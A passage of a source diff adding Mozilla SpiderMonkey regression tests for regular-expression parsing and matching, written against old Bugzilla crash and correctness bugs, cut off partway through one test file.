+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367888;
+var summary = 'RegExp /(|)??x/g.exec("y") barfs';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = null;
+ actual = /(|)??x/g.exec("y");
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/RegExp/regress-375642.js b/js/src/tests/non262/RegExp/regress-375642.js
new file mode 100644
index 0000000000..48cba8fd78
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-375642.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375642;
+var summary = 'RegExp /(?:a??)+?/.exec("")';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ /(?:a??)+?/.exec("")
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/RegExp/regress-375651.js b/js/src/tests/non262/RegExp/regress-375651.js
new file mode 100644
index 0000000000..8f3984e875
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-375651.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375651;
+var summary = 'Do not assert with regexp quantifiers';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ /(.{2,3}){0,2}?t/.exec("abt");
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/RegExp/regress-375711.js b/js/src/tests/non262/RegExp/regress-375711.js
new file mode 100644
index 0000000000..4de183691a
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-375711.js
@@ -0,0 +1,82 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375711;
+var summary = 'Do not assert with /[Q-b]/i.exec("")';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var s;
+
+ // see bug 416933
+ print('see bug 416933 for changed behavior on Gecko 1.9');
+
+ try
+ {
+ s = '/[Q-b]/.exec("")';
+ expect = 'No Error';
+ print(s + ' expect ' + expect);
+ eval(s);
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': ' + s);
+
+ try
+ {
+ s ='/[Q-b]/i.exec("")';
+ expect = 'No Error';
+ print(s + ' expect ' + expect);
+ eval(s);
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': ' + s);
+
+ try
+ {
+ s = '/[q-b]/.exec("")';
+ expect = 'SyntaxError: invalid range in character class';
+ print(s + ' expect ' + expect);
+ eval(s);
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': ' + s);
+
+ try
+ {
+ s ='/[q-b]/i.exec("")';
+ expect = 'SyntaxError: invalid range in character class';
+ print(s + ' expect ' + expect);
+ eval(s);
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': ' + s);
+}
diff --git a/js/src/tests/non262/RegExp/regress-375715-01-n.js b/js/src/tests/non262/RegExp/regress-375715-01-n.js
new file mode 100644
index 0000000000..dcd003ec17
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-375715-01-n.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375715;
+var summary = 'Do not assert: (c2 <= cs->length) && (c1 <= c2)';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // note that the assertion does not fire if the regexp is
+ // evald or used in new RegExp, so this test must be an -n
+ // with uncaught SyntaxError.
+
+ /[\Wb-G]/.exec("");
+ reportCompare(expect, actual, summary + ' /[\Wb-G]/.exec("")');
+}
diff --git a/js/src/tests/non262/RegExp/regress-375715-02.js b/js/src/tests/non262/RegExp/regress-375715-02.js
new file mode 100644
index 0000000000..9f872cedfc
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-375715-02.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375715;
+var summary = 'Do not assert: (c2 <= cs->length) && (c1 <= c2)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ /[\s-:]/;
+ reportCompare(expect, actual, summary + '/[\s-:]/');
+}
diff --git a/js/src/tests/non262/RegExp/regress-375715-03.js b/js/src/tests/non262/RegExp/regress-375715-03.js
new file mode 100644
index 0000000000..112da17df0
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-375715-03.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375715;
+var summary = 'Do not assert: (c2 <= cs->length) && (c1 <= c2)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ /[_-t]/i.exec("");
+ reportCompare(expect, actual, summary + '/[_-t]/i.exec("")');
+}
diff --git a/js/src/tests/non262/RegExp/regress-375715-04.js b/js/src/tests/non262/RegExp/regress-375715-04.js
new file mode 100644
index 0000000000..8a56c3fe6e
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-375715-04.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375715;
+var summary = 'Do not assert: (c2 <= cs->length) && (c1 <= c2)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ expect = 'SyntaxError: invalid range in character class';
+ (new RegExp("[\xDF-\xC7]]", "i")).exec("");
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + '(new RegExp("[\xDF-\xC7]]", "i")).exec("")');
+}
diff --git a/js/src/tests/non262/RegExp/regress-429241.js b/js/src/tests/non262/RegExp/regress-429241.js
new file mode 100644
index 0000000000..a4b588fead
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-429241.js
@@ -0,0 +1,200 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var gTestfile = 'regress-429241.js';
+var BUGNUMBER = 429241;
+var summary = '\\x or \\u followed by too few hex digits';
+var r;
+
+reportCompare(
+ "x",
+ (r = /[\x]+/.exec("\\x\0")) && r[0],
+ "Section 1"
+);
+
+reportCompare(
+ "xy",
+ (r = /[\xy]+/.exec("\\xy\0")) && r[0],
+ "Section 2"
+);
+
+reportCompare(
+ "x0",
+ (r = /[\x0]+/.exec("\\x0\0")) && r[0],
+ "Section 3"
+);
+
+reportCompare(
+ "x0y",
+ (r = /[\x0y]+/.exec("\\x0y\0")) && r[0],
+ "Section 4"
+);
+
+reportCompare(
+ "\0",
+ (r = /[\x00]+/.exec("\\x\0")) && r[0],
+ "Section 5"
+);
+
+reportCompare(
+ "0\0",
+ (r = /[\x000]+/.exec("0\0")) && r[0],
+ "Section 6"
+);
+
+reportCompare(
+ "x",
+ (r = /^\x$/.exec("x")) && r[0],
+ "Section 7"
+);
+
+reportCompare(
+ "xy",
+ (r = /^\xy$/.exec("xy")) && r[0],
+ "Section 8"
+);
+
+reportCompare(
+ "x0",
+ (r = /^\x0$/.exec("x0")) && r[0],
+ "Section 9"
+);
+
+reportCompare(
+ "x0y",
+ (r = /^\x0y$/.exec("x0y")) && r[0],
+ "Section 10"
+);
+
+reportCompare(
+ null,
+ /^\x00$/.exec("\0" + "0"),
+ "Section 11"
+);
+
+reportCompare(
+ "\0" + "0",
+ (r = /^\x000$/.exec("\0" + "0")) && r[0],
+ "Section 12"
+);
+
+reportCompare(
+ "u",
+ (r = /[\u]+/.exec("\\u\0")) && r[0],
+ "Section 13"
+);
+
+reportCompare(
+ "uy",
+ (r = /[\uy]+/.exec("\\uy\0")) && r[0],
+ "Section 14"
+);
+
+reportCompare(
+ "u0",
+ (r = /[\u0]+/.exec("\\u0\0")) && r[0],
+ "Section 15"
+);
+
+reportCompare(
+ "u0",
+ (r = /[\u00]+/.exec("\\u0\0")) && r[0],
+ "Section 16"
+);
+
+reportCompare(
+ "u0",
+ (r = /[\u000]+/.exec("\\u0\0")) && r[0],
+ "Section 17"
+);
+
+reportCompare(
+ "u0y",
+ (r = /[\u0y]+/.exec("\\u0y\0")) && r[0],
+ "Section 18"
+);
+
+reportCompare(
+ "u0y",
+ (r = /[\u00y]+/.exec("\\u0y\0")) && r[0],
+ "Section 19"
+);
+
+reportCompare(
+ "u0y",
+ (r = /[\u000y]+/.exec("\\u0y\0")) && r[0],
+ "Section 20"
+);
+
+reportCompare(
+ "\0",
+ (r = /[\u0000]+/.exec("\\u\0")) && r[0],
+ "Section 21"
+);
+
+reportCompare(
+ "0\0",
+ (r = /[\u00000]+/.exec("0\0")) && r[0],
+ "Section 22"
+);
+
+reportCompare(
+ "u",
+ (r = /^\u$/.exec("u")) && r[0],
+ "Section 23"
+);
+
+reportCompare(
+ "uy",
+ (r = /^\uy$/.exec("uy")) && r[0],
+ "Section 24"
+);
+
+reportCompare(
+ "u0",
+ (r = /^\u0$/.exec("u0")) && r[0],
+ "Section 25"
+);
+
+reportCompare(
+ "u00",
+ (r = /^\u00$/.exec("u00")) && r[0],
+ "Section 26"
+);
+
+reportCompare(
+ "u000",
+ (r = /^\u000$/.exec("u000")) && r[0],
+ "Section 27"
+);
+
+reportCompare(
+ "u0y",
+ (r = /^\u0y$/.exec("u0y")) && r[0],
+ "Section 28"
+);
+
+reportCompare(
+ "u00y",
+ (r = /^\u00y$/.exec("u00y")) && r[0],
+ "Section 29"
+);
+
+reportCompare(
+ "u000y",
+ (r = /^\u000y$/.exec("u000y")) && r[0],
+ "Section 30"
+);
+
+reportCompare(
+ null,
+ /^\u0000$/.exec("\0" + "0"),
+ "Section 31"
+);
+
+reportCompare(
+ "\0" + "0",
+ (r = /^\u00000$/.exec("\0" + "0")) && r[0],
+ "Section 32"
+);
diff --git a/js/src/tests/non262/RegExp/regress-436700.js b/js/src/tests/non262/RegExp/regress-436700.js
new file mode 100644
index 0000000000..f5991cdae8
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-436700.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 436700;
+var summary = 'Do not assert: 1 <= num && num <= 0x10000';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ /\2147483648/.exec(String.fromCharCode(140) + "7483648").toString();
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/RegExp/regress-465862.js b/js/src/tests/non262/RegExp/regress-465862.js
new file mode 100644
index 0000000000..cb1cfe10f5
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-465862.js
@@ -0,0 +1,80 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465862;
+var summary = 'Do case-insensitive matching correctly in JIT for non-ASCII-letters';
+
+var i = 0;
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+// Note: we must call the RegExp constructor here instead of using
+// literals. Otherwise, because the regexps are compiled at parse
+// time, they will not be compiled to native code and we will not
+// actually be testing jitted regexps.
+
+
+status = inSection(1);
+string = '@';
+pattern = new RegExp('@', 'i');
+actualmatch = string.match(pattern);
+expectedmatch = Array(string);
+addThis();
+
+status = inSection(2);
+string = '`';
+pattern = new RegExp('`', 'i');
+actualmatch = string.match(pattern);
+expectedmatch = Array(string);
+addThis();
+
+status = inSection(3);
+string = '@';
+pattern = new RegExp('`', 'i');
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(4);
+string = '`';
+pattern = new RegExp('@', 'i');
+print(string + ' ' + pattern);
+actualmatch = string.match(pattern);
+print('z ' + actualmatch);
+print('`'.match(/@/i));
+expectedmatch = null;
+addThis();
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-57572.js b/js/src/tests/non262/RegExp/regress-57572.js
new file mode 100644
index 0000000000..373f69191b
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-57572.js
@@ -0,0 +1,114 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 28 December 2000
+ *
+ * SUMMARY: Testing regular expressions containing the ? character.
+ * Arose from Bugzilla bug 57572: "RegExp with ? matches incorrectly"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=57572
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 57572;
+var summary = 'Testing regular expressions containing "?"';
+var cnEmptyString = ''; var cnSingleSpace = ' ';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+status = inSection(1);
+pattern = /(\S+)?(.*)/;
+string = 'Test this';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'Test', ' this'); //single space in front of 'this'
+addThis();
+
+status = inSection(2);
+pattern = /(\S+)? ?(.*)/; //single space between the ? characters
+string= 'Test this';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'Test', 'this'); //NO space in front of 'this'
+addThis();
+
+status = inSection(3);
+pattern = /(\S+)?(.*)/;
+string = 'Stupid phrase, with six - (short) words';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'Stupid', ' phrase, with six - (short) words'); //single space in front of 'phrase'
+addThis();
+
+status = inSection(4);
+pattern = /(\S+)? ?(.*)/; //single space between the ? characters
+string = 'Stupid phrase, with six - (short) words';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'Stupid', 'phrase, with six - (short) words'); //NO space in front of 'phrase'
+addThis();
+
+
+// let's add an extra back-reference this time - three instead of two -
+status = inSection(5);
+pattern = /(\S+)?( ?)(.*)/; //single space before second ? character
+string = 'Stupid phrase, with six - (short) words';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'Stupid', cnSingleSpace, 'phrase, with six - (short) words');
+addThis();
+
+status = inSection(6);
+pattern = /^(\S+)?( ?)(B+)$/; //single space before second ? character
+string = 'AAABBB';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'AAABB', cnEmptyString, 'B');
+addThis();
+
+status = inSection(7);
+pattern = /(\S+)?(!?)(.*)/;
+string = 'WOW !!! !!!';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'WOW', cnEmptyString, ' !!! !!!');
+addThis();
+
+status = inSection(8);
+pattern = /(.+)?(!?)(!+)/;
+string = 'WOW !!! !!!';
+actualmatch = string.match(pattern);
+expectedmatch = Array(string, 'WOW !!! !!', cnEmptyString, '!');
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-57631.js b/js/src/tests/non262/RegExp/regress-57631.js
new file mode 100644
index 0000000000..eb598d2e7d
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-57631.js
@@ -0,0 +1,115 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 26 November 2000
+ *
+ *
+ * SUMMARY: This test arose from Bugzilla bug 57631:
+ * "RegExp with invalid pattern or invalid flag causes segfault"
+ *
+ * Either error should throw an exception of type SyntaxError,
+ * and we check to see that it does...
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = '57631';
+var summary = 'Testing new RegExp(pattern,flag) with illegal pattern or flag';
+var statprefix = 'Testing for error creating illegal RegExp object on pattern ';
+var statsuffix = 'and flag ';
+var cnSUCCESS = 'SyntaxError';
+var cnFAILURE = 'not a SyntaxError';
+var singlequote = "'";
+var i = -1; var j = -1; var s = ''; var f = '';
+var obj = {};
+var status = ''; var actual = ''; var expect = ''; var msg = '';
+var legalpatterns = new Array(); var illegalpatterns = new Array();
+var legalflags = new Array(); var illegalflags = new Array();
+
+
+// valid regular expressions to try -
+legalpatterns[0] = '';
+legalpatterns[1] = 'abc';
+legalpatterns[2] = '(.*)(3-1)\s\w';
+legalpatterns[3] = '(.*)(...)\\s\\w';
+legalpatterns[4] = '[^A-Za-z0-9_]';
+legalpatterns[5] = '[^\f\n\r\t\v](123.5)([4 - 8]$)';
+
+// invalid regular expressions to try -
+illegalpatterns[0] = '(?)';
+illegalpatterns[1] = '(a';
+illegalpatterns[2] = '( ]';
+//illegalpatterns[3] = '\d{1,s}';
+
+// valid flags to try -
+legalflags[0] = 'i';
+legalflags[1] = 'g';
+legalflags[2] = 'm';
+legalflags[3] = undefined;
+
+// invalid flags to try -
+illegalflags[0] = 'a';
+illegalflags[1] = 123;
+illegalflags[2] = new RegExp();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ testIllegalRegExps(legalpatterns, illegalflags);
+ testIllegalRegExps(illegalpatterns, legalflags);
+ testIllegalRegExps(illegalpatterns, illegalflags);
+}
+
+
+// This function will only be called where all the patterns are illegal, or all the flags
+function testIllegalRegExps(patterns, flags)
+{
+ for (i in patterns)
+ {
+ s = patterns[i];
+
+ for (j in flags)
+ {
+ f = flags[j];
+ status = getStatus(s, f);
+ actual = cnFAILURE;
+ expect = cnSUCCESS;
+
+ try
+ {
+ // This should cause an exception if either s or f is illegal -
+ eval('obj = new RegExp(s, f);');
+ }
+ catch(e)
+ {
+ // We expect to get a SyntaxError - test for this:
+ if (e instanceof SyntaxError)
+ actual = cnSUCCESS;
+ }
+
+ reportCompare(expect, actual, status);
+ }
+ }
+}
+
+
+function getStatus(regexp, flag)
+{
+ return (statprefix + quote(regexp) + statsuffix + quote(flag));
+}
+
+
+function quote(text)
+{
+ return (singlequote + text + singlequote);
+}
diff --git a/js/src/tests/non262/RegExp/regress-576828.js b/js/src/tests/non262/RegExp/regress-576828.js
new file mode 100644
index 0000000000..45e97dc3b1
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-576828.js
@@ -0,0 +1,8 @@
+var re = /(z\1){3}/;
+var str = 'zzz';
+var actual = re.exec(str);
+var expected = makeExpectedMatch(['zzz', 'z'], 0, str);
+checkRegExpMatch(actual, expected);
+
+if (typeof reportCompare == 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/regress-613820-1.js b/js/src/tests/non262/RegExp/regress-613820-1.js
new file mode 100644
index 0000000000..e5e755b24a
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-613820-1.js
@@ -0,0 +1,9 @@
+/* Back reference is actually a forwards reference. */
+var re = /(\2(a)){2}/;
+var str = 'aaa';
+var actual = re.exec(str);
+var expected = makeExpectedMatch(['aa', 'a', 'a'], 0, str);
+checkRegExpMatch(actual, expected);
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/regress-613820-2.js b/js/src/tests/non262/RegExp/regress-613820-2.js
new file mode 100644
index 0000000000..5db7244ba2
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-613820-2.js
@@ -0,0 +1,9 @@
+/* Resetting of inner capture groups across quantified capturing parens. */
+var re = /(?:(f)(o)(o)|(b)(a)(r))*/;
+var str = 'foobar';
+var actual = re.exec(str);
+var expected = makeExpectedMatch(['foobar', undefined, undefined, undefined, 'b', 'a', 'r'], 0, str);
+checkRegExpMatch(actual, expected);
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/regress-613820-3.js b/js/src/tests/non262/RegExp/regress-613820-3.js
new file mode 100644
index 0000000000..126e838ff2
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-613820-3.js
@@ -0,0 +1,9 @@
+/* Capture group reset to undefined during second iteration, so backreference doesn't see prior result. */
+var re = /(?:^(a)|\1(a)|(ab)){2}/;
+var str = 'aab';
+var actual = re.exec(str);
+var expected = makeExpectedMatch(['aa', undefined, 'a', undefined], 0, str);
+checkRegExpMatch(actual, expected);
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/regress-617935.js b/js/src/tests/non262/RegExp/regress-617935.js
new file mode 100644
index 0000000000..3764d81b0e
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-617935.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(!xulRuntime.shell&&(Android||xulRuntime.OS=="WINNT")) silentfail
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ *
+ * Author: Christian Holler <decoder@own-hero.net>
+ */
+
+expectExitCode(0);
+expectExitCode(5);
+
+/* Length of 32 */
+var foo = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
+
+/* Make len(foo) 32768 */
+for (i = 0; i < 10; ++i) {
+ foo += foo;
+}
+
+/* Add one "a" to cause overflow later */
+foo += "a";
+
+var bar = "bbbbbbbbbbbbbbbb";
+
+/* Make len(bar) 8192 */
+for (i = 0; i < 9; ++i) {
+ bar += bar;
+}
+
+/*
+ * Resulting string should be
+ * len(foo) * len(bar) = (2**10 * 32 + 1) * 8192 = 268443648
+ * which will be larger than the max string length (2**28, or 268435456).
+ */
+try {
+ foo.replace(/[a]/g, bar);
+} catch (e) {
+ reportCompare(e instanceof InternalError, true, "Internal error due to overallocation is ok.");
+}
+reportCompare(true, true, "No crash occurred.");
+
+print("Tests complete");
diff --git a/js/src/tests/non262/RegExp/regress-6359.js b/js/src/tests/non262/RegExp/regress-6359.js
new file mode 100644
index 0000000000..fae056fa53
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-6359.js
@@ -0,0 +1,52 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: regress-6359.js
+ * Reference: ** replace with bugzilla URL or document reference **
+ * Description: ** replace with description of test **
+ * Author: ** replace with your e-mail address **
+ */
+
+var SECTION = "js1_2"; // provide a document reference (ie, ECMA section)
+var TITLE = "Regression test for bugzilla # 6359"; // Provide ECMA section title or a description
+var BUGNUMBER = "http://bugzilla.mozilla.org/show_bug.cgi?id=6359"; // Provide URL to bugsplat or bugzilla report
+
+printBugNumber(BUGNUMBER);
+
+/*
+ * Calls to AddTestCase here. AddTestCase is a function that is defined
+ * in shell.js and takes three arguments:
+ * - a string representation of what is being tested
+ * - the expected result
+ * - the actual result
+ *
+ * For example, a test might look like this:
+ *
+ * var zip = /[\d]{5}$/;
+ *
+ * AddTestCase(
+ * "zip = /[\d]{5}$/; \"PO Box 12345 Boston, MA 02134\".match(zip)", // description of the test
+ * "02134", // expected result
+ * "PO Box 12345 Boston, MA 02134".match(zip) ); // actual result
+ *
+ */
+
+AddTestCase( '/(a*)b\1+/.exec("baaac").length',
+ 2,
+ /(a*)b\1+/.exec("baaac").length );
+
+AddTestCase( '/(a*)b\1+/.exec("baaac")[0]',
+ "b",
+ /(a*)b\1+/.exec("baaac")[0]);
+
+AddTestCase( '/(a*)b\1+/.exec("baaac")[1]',
+ "",
+ /(a*)b\1+/.exec("baaac")[1]);
+
+
+test(); // leave this alone. this executes the test cases and
+// displays results.
diff --git a/js/src/tests/non262/RegExp/regress-67773.js b/js/src/tests/non262/RegExp/regress-67773.js
new file mode 100644
index 0000000000..1df7680d0f
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-67773.js
@@ -0,0 +1,175 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 06 February 2001
+ *
+ * SUMMARY: Arose from Bugzilla bug 67773:
+ * "Regular subexpressions followed by + failing to run to completion"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=67773
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=69989
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 67773;
+var summary = 'Testing regular subexpressions followed by ? or +\n';
+var cnSingleSpace = ' ';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+pattern = /^(\S+)?( ?)(B+)$/; //single space before second ? character
+status = inSection(1);
+string = 'AAABBB AAABBB '; //single space at middle and at end -
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(2);
+string = 'AAABBB BBB'; //single space in the middle
+actualmatch = string.match(pattern);
